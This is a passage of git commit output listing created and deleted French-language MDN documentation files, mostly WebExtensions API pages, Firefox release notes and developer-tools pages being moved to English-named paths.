files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setobject/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setpage/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/onthemechanged/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/themename/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/reload/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/tabid/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/network/gethar/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elements/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/createsidebarpane/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/onselectionchanged/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onshown/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setpage/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools/panels/themename/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/menus/menus.overridecontext()/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/proxy/onerror/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/proxy/onproxyerror/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/proxy/settings/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/registereduserscript.unregister()/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/userscripts/travailler_avec_userscripts/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/comparaison_avec_le_sdk_add-on/index.html delete mode 100644 "files/fr/mozilla/add-ons/webextensions/compatibilit\303\251_navigateurs_api_javascript/index.html" delete mode 100644 files/fr/mozilla/add-ons/webextensions/compte_developpeurs/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/construction_extension_cross_browser/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/debogage_(avant_firefox_50)/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/demander_les_bonnes_permissions/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/demandes_de_permission/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/differences_entre_les_implementations_api/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/examples/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/exemples/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/experience_utilisateur_bonnes_pratiques/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/extension_des_outils_de_developpement/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.html delete mode 100644 "files/fr/mozilla/add-ons/webextensions/incompatibilit\303\251s_chrome/index.html" delete mode 100644 files/fr/mozilla/add-ons/webextensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/installation_temporaire_dans_firefox/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/interagir_avec_le_presse_papier/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.html delete mode 100644 "files/fr/mozilla/add-ons/webextensions/intercepter_requ\303\252tes_http/index.html" delete mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/arriere-plan/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/auteur/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/author/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experimentation/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/manifests_native/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/native_manifests/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/partage_d_objets_avec_des_scripts_de_page/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/portage_d_une_extension_firefox_heritee/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/publishing_your_webextension/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/que_faire_ensuite/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/securite_bonne_pratique/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/test_des_fonctionnalites_persistantes_et_de_redemarrage/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/travailler_avec_des_identites_contextuelles/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_cookies/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/travailler_avec_l_api_tabs/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/barres_laterales/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/elements_menu_contextuel/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/lignes_directrices_en_matiere_accessibilite/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/pages_web_incluses/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/panneaux_devtools/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/what_next_/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.html create mode 100644 files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.html delete mode 100644 files/fr/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html create mode 100644 files/fr/mozilla/developer_guide/build_instructions/index.html create mode 100644 files/fr/mozilla/developer_guide/introduction/index.html create mode 100644 files/fr/mozilla/developer_guide/so_you_just_built_firefox/index.html delete mode 100644 files/fr/mozilla/developer_guide/vous_venez_juste_de_compiler_firefox/index.html create mode 100644 files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.html create mode 100644 files/fr/mozilla/firefox/releases/1.5/index.html create mode 100644 files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html create mode 100644 files/fr/mozilla/firefox/releases/11/index.html create mode 100644 files/fr/mozilla/firefox/releases/12/index.html create mode 100644 files/fr/mozilla/firefox/releases/13/index.html create mode 100644 files/fr/mozilla/firefox/releases/15/index.html create mode 100644 files/fr/mozilla/firefox/releases/16/index.html create mode 100644 files/fr/mozilla/firefox/releases/17/index.html create mode 100644 files/fr/mozilla/firefox/releases/17/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/18/index.html create mode 100644 files/fr/mozilla/firefox/releases/18/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/19/index.html create mode 100644 files/fr/mozilla/firefox/releases/19/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/2/index.html create mode 100644 files/fr/mozilla/firefox/releases/2/security_changes/index.html create mode 100644 files/fr/mozilla/firefox/releases/2/updating_extensions/index.html create mode 100644 files/fr/mozilla/firefox/releases/20/index.html create mode 100644 files/fr/mozilla/firefox/releases/20/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/21/index.html create mode 100644 files/fr/mozilla/firefox/releases/21/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/22/index.html create mode 100644 files/fr/mozilla/firefox/releases/22/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/23/index.html create mode 100644 files/fr/mozilla/firefox/releases/23/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/24/index.html create mode 100644 files/fr/mozilla/firefox/releases/24/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/3.5/index.html create mode 100644 files/fr/mozilla/firefox/releases/3.6/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/dom_improvements/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/full_page_zoom/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/notable_bugs_fixed/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/svg_improvements/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/updating_extensions/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/updating_web_applications/index.html create mode 100644 files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.html create mode 100644 files/fr/mozilla/firefox/releases/35/index.html create mode 100644 files/fr/mozilla/firefox/releases/35/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/4/index.html create mode 100644 files/fr/mozilla/firefox/releases/40/index.html create mode 100644 files/fr/mozilla/firefox/releases/40/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/41/index.html create mode 100644 files/fr/mozilla/firefox/releases/41/site_compatibility/index.html create mode 100644 files/fr/mozilla/firefox/releases/5/index.html create mode 100644 files/fr/mozilla/firefox/releases/50/index.html create mode 100644 files/fr/mozilla/firefox/releases/59/index.html create mode 100644 files/fr/mozilla/firefox/releases/6/index.html create mode 100644 files/fr/mozilla/firefox/releases/63/index.html create mode 100644 files/fr/mozilla/firefox/releases/65/index.html create mode 100644 files/fr/mozilla/firefox/releases/68/index.html create mode 100644 files/fr/mozilla/firefox/releases/69/index.html create mode 100644 files/fr/mozilla/firefox/releases/7/index.html create mode 100644 files/fr/mozilla/firefox/releases/70/index.html create mode 100644 files/fr/mozilla/firefox/releases/76/index.html create mode 100644 files/fr/mozilla/firefox/releases/77/index.html create mode 100644 files/fr/mozilla/firefox/releases/8/index.html create mode 100644 files/fr/mozilla/firefox/releases/9/index.html create mode 100644 files/fr/mozilla/firefox/releases/index.html delete mode 100644 files/fr/mozilla/firefox/versions/1.5/index.html delete mode 100644 files/fr/mozilla/firefox/versions/11/index.html delete mode 100644 files/fr/mozilla/firefox/versions/12/index.html delete mode 100644 files/fr/mozilla/firefox/versions/13/index.html delete mode 100644 files/fr/mozilla/firefox/versions/15/index.html delete mode 100644 files/fr/mozilla/firefox/versions/16/index.html delete mode 100644 files/fr/mozilla/firefox/versions/17/index.html delete mode 100644 files/fr/mozilla/firefox/versions/17/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/18/index.html delete mode 100644 files/fr/mozilla/firefox/versions/18/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/19/index.html delete mode 100644 files/fr/mozilla/firefox/versions/19/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/2/index.html delete mode 100644 files/fr/mozilla/firefox/versions/20/index.html delete mode 100644 files/fr/mozilla/firefox/versions/20/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/21/index.html delete mode 100644 files/fr/mozilla/firefox/versions/21/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/22/index.html delete mode 100644 files/fr/mozilla/firefox/versions/22/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/23/index.html delete mode 100644 files/fr/mozilla/firefox/versions/23/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/24/index.html delete mode 100644 files/fr/mozilla/firefox/versions/24/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/3.5/index.html delete mode 100644 files/fr/mozilla/firefox/versions/3.6/index.html delete mode 100644 files/fr/mozilla/firefox/versions/3/index.html delete mode 100644 files/fr/mozilla/firefox/versions/35/index.html delete mode 100644 files/fr/mozilla/firefox/versions/35/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/4/index.html delete mode 100644 files/fr/mozilla/firefox/versions/40/index.html delete mode 100644 files/fr/mozilla/firefox/versions/40/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/41/index.html delete mode 100644 files/fr/mozilla/firefox/versions/41/site_compatibility/index.html delete mode 100644 files/fr/mozilla/firefox/versions/5/index.html delete mode 100644 files/fr/mozilla/firefox/versions/50/index.html delete mode 100644 files/fr/mozilla/firefox/versions/59/index.html delete mode 100644 files/fr/mozilla/firefox/versions/6/index.html delete mode 100644 files/fr/mozilla/firefox/versions/63/index.html delete mode 100644 files/fr/mozilla/firefox/versions/65/index.html delete mode 100644 files/fr/mozilla/firefox/versions/68/index.html delete mode 100644 files/fr/mozilla/firefox/versions/69/index.html delete mode 100644 files/fr/mozilla/firefox/versions/7/index.html delete mode 100644 files/fr/mozilla/firefox/versions/70/index.html delete mode 100644 files/fr/mozilla/firefox/versions/76/index.html delete mode 100644 files/fr/mozilla/firefox/versions/77/index.html delete mode 100644 files/fr/mozilla/firefox/versions/8/index.html delete mode 100644 files/fr/mozilla/firefox/versions/9/index.html delete mode 100644 files/fr/mozilla/firefox/versions/index.html delete mode 100644 files/fr/navigatorusermedia.getusermedia/index.html delete mode 100644 files/fr/npapi/constantes/index.html create mode 100644 "files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" create mode 100644 "files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" create mode 100644 "files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" create mode 100644 "files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" create mode 100644 "files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" create mode 100644 files/fr/orphaned/learn/how_to_contribute/index.html create mode 100644 files/fr/orphaned/mdn/community/conversations/index.html create mode 100644 files/fr/orphaned/mdn/community/doc_sprints/index.html create mode 100644 files/fr/orphaned/mdn/community/index.html create mode 100644 files/fr/orphaned/mdn/community/whats_happening/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/do_a_technical_review/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html create mode 100644 files/fr/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html create mode 100644 files/fr/orphaned/mdn/editor/basics/attachments/index.html create mode 100644 files/fr/orphaned/mdn/editor/basics/index.html create mode 100644 files/fr/orphaned/mdn/editor/index.html create mode 100644 files/fr/orphaned/mdn/tools/template_editing/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/best_practices_for_updating_your_extension/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/choose_a_firefox_version_for_web_extension_develop/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/comparison_with_the_add-on_sdk/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/developer_accounts/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_for_desktop_apps/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/add-ons_in_the_enterprise/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/sideloading_add-ons/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/request_the_right_permissions/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/security_best_practices/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/test_permission_requests/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/testing_persistent_and_restart_features/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/user_interface/accessibility_guidelines/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons/webextensions/what_does_review_rejection_mean_to_users/index.html create mode 100644 files/fr/orphaned/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html create mode 100644 files/fr/orphaned/tools/add-ons/dom_inspector/dom_inspector_faq/index.html create mode 100644 files/fr/orphaned/tools/add-ons/dom_inspector/index.html create mode 100644 files/fr/orphaned/tools/add-ons/dom_inspector/internals/index.html create mode 100644 files/fr/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html create mode 100644 files/fr/orphaned/tools/add-ons/index.html create mode 100644 files/fr/orphaned/tools/css_coverage/index.html create mode 100644 files/fr/orphaned/tools/debugger/limitations_of_the_new_debugger/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/disable_breakpoints/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/search_and_filter/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/step_through_code/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/keyboard_shortcuts/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/settings/index.html create mode 100644 files/fr/orphaned/tools/debugger_(before_firefox_52)/ui_tour/index.html create mode 100644 files/fr/orphaned/web/api/entity/index.html create mode 100644 files/fr/orphaned/web/api/entityreference/index.html create mode 100644 files/fr/orphaned/web/api/namelist/index.html create mode 100644 files/fr/orphaned/web/css/@media/index/index.html create mode 100644 files/fr/orphaned/web/css/index/index.html create mode 100644 files/fr/orphaned/web/html/element/command/index.html create mode 100644 files/fr/orphaned/web/html/element/element/index.html create mode 100644 files/fr/orphaned/web/html/global_attributes/dropzone/index.html create mode 100644 files/fr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html create mode 100644 files/fr/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html create mode 100644 files/fr/orphaned/web/javascript/reference/global_objects/bigint/prototype/index.html create mode 100644 files/fr/orphaned/web/security/information_security_basics/index.html create mode 100644 files/fr/orphaned/xpcom/liaisons_de_langage/objet_components/index.html create mode 100644 files/fr/orphaned/xpcom/reference/standard_xpcom_components/index.html delete mode 100644 files/fr/outils/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html delete mode 100644 files/fr/outils/about_colon_debugging/index.html delete mode 100644 files/fr/outils/accessing_the_developer_tools/index.html delete mode 100644 files/fr/outils/add-ons/index.html delete mode 100644 "files/fr/outils/bo\303\256te_\303\240_outils_du_navigateur/index.html" delete mode 100644 files/fr/outils/console_javascript/index.html delete mode 100644 files/fr/outils/console_web/console_messages/index.html delete mode 100644 files/fr/outils/console_web/fonctions_d_aide/index.html delete mode 100644 files/fr/outils/console_web/index.html delete mode 100644 files/fr/outils/console_web/keyboard_shortcuts/index.html delete mode 100644 files/fr/outils/console_web/opening_the_web_console/index.html delete mode 100644 files/fr/outils/console_web/rich_output/index.html delete mode 100644 files/fr/outils/console_web/split_console/index.html delete mode 100644 files/fr/outils/console_web/the_command_line_interpreter/index.html delete mode 100644 files/fr/outils/couleurs_des_devtools/index.html delete mode 100644 files/fr/outils/css_coverage/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/disable_breakpoints/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/search_and_filter/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/step_through_code/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/keyboard_shortcuts/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/settings/index.html delete mode 100644 files/fr/outils/debugger_(before_firefox_52)/ui_tour/index.html delete mode 100644 files/fr/outils/devtoolsapi/index.html delete mode 100644 files/fr/outils/dom_property_viewer/index.html delete mode 100644 "files/fr/outils/d\303\251bogage_distant/chrome_desktop/index.html" delete mode 100644 "files/fr/outils/d\303\251bogage_distant/debugging_firefox_desktop/index.html" delete mode 100644 "files/fr/outils/d\303\251bogage_distant/debugging_firefox_for_android_with_webide_clone/index.html" delete mode 100644 "files/fr/outils/d\303\251bogage_distant/index.html" delete mode 100644 "files/fr/outils/d\303\251bogage_distant/thunderbird/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/acc\303\251der_au_d\303\251bogage_depuis_un_module_compl\303\240mentaire/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/afficher_en_surbrillance_et_inspecter_le_dom/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t_conditionnel/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/breaking_on_exceptions/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/d\303\251boguer_des_sources_\303\251valu\303\251es/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/d\303\251sactiver_des_points_d_arr\303\252ts/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/examiner,_modifier,_et_espionner_des_variables/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/formater_et_indenter_un_fichier_minifi\303\251/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/mettre_une_source_dans_une_bo\303\256te_noire/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/ouvrir_le_d\303\251bogueur/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/parcourir_le_code/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/s_arr\303\252ter_sur_un_\303\251v\303\250nement_dom/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/search/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/set_watch_expressions/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/comment/utiliser_une_source_map/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/limitations_of_the_new_debugger/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/raccourcis_clavier/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/set_an_xhr_breakpoint/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/source_map_errors/index.html" delete mode 100644 "files/fr/outils/d\303\251bogueur/visite_guid\303\251e_de_l_interface_utilisateur/index.html" delete mode 100644 files/fr/outils/editeur_de_shaders/index.html delete mode 100644 files/fr/outils/editeur_web_audio/index.html delete mode 100644 files/fr/outils/firefox_os_simulator_clone/index.html delete mode 100644 files/fr/outils/frise_chronologique/index.html delete mode 100644 files/fr/outils/index.html delete mode 100644 files/fr/outils/index/index.html delete mode 100644 files/fr/outils/inspecteur/3-pane_mode/index.html delete mode 100644 files/fr/outils/inspecteur/comment/edition_filtres_css/index.html delete mode 100644 files/fr/outils/inspecteur/comment/examine_grid_layouts/index.html delete mode 100644 files/fr/outils/inspecteur/comment/examiner_et_modifier_le_css/index.html delete mode 100644 "files/fr/outils/inspecteur/comment/examiner_et_modifier_le_mod\303\250le_de_bo\303\256te/index.html" delete mode 100644 "files/fr/outils/inspecteur/comment/examiner_et_\303\251diter_le_code_html/index.html" delete mode 100644 "files/fr/outils/inspecteur/comment/examiner_les_\303\251couteurs_d_\303\251v\303\250nements/index.html" delete mode 100644 files/fr/outils/inspecteur/comment/index.html delete mode 100644 